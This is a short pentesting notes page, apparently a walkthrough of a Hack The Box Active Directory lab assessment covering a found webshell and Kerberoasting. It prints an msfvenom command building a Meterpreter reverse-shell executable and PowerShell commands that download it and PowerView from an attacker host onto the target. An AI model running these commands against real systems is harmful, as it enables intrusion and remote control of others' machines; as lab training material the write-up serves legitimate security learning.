> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/htb-ad-enumeration-and-attacks-skills-assessment-part-i.md).
# HTB AD Enumeration & Attacks - Skills Assessment Part I
Browsing the uploads folder, we get the webshell.
We can directly get the flag from the desktop.
#### Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer
Now we need more interactive shell. So we will be using metasploit to gain back a shell.
```
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.52 -f exe -o backupscript.exe LPORT=4444
```
Run the following command to upload the file.
```
Invoke-WebRequest -Uri "http://10.10.14.52:8000/backupscript.exe " -OutFile "C:\windows\system32\inetsrv\backup.exe"
```
Now run it
we will get the shell
Now we need to upload the tools
```
Invoke-WebRequest -Uri "http://10.10.14.124:8000/PowerView.ps1 " -OutFile "C:\PowerView.ps1"
```
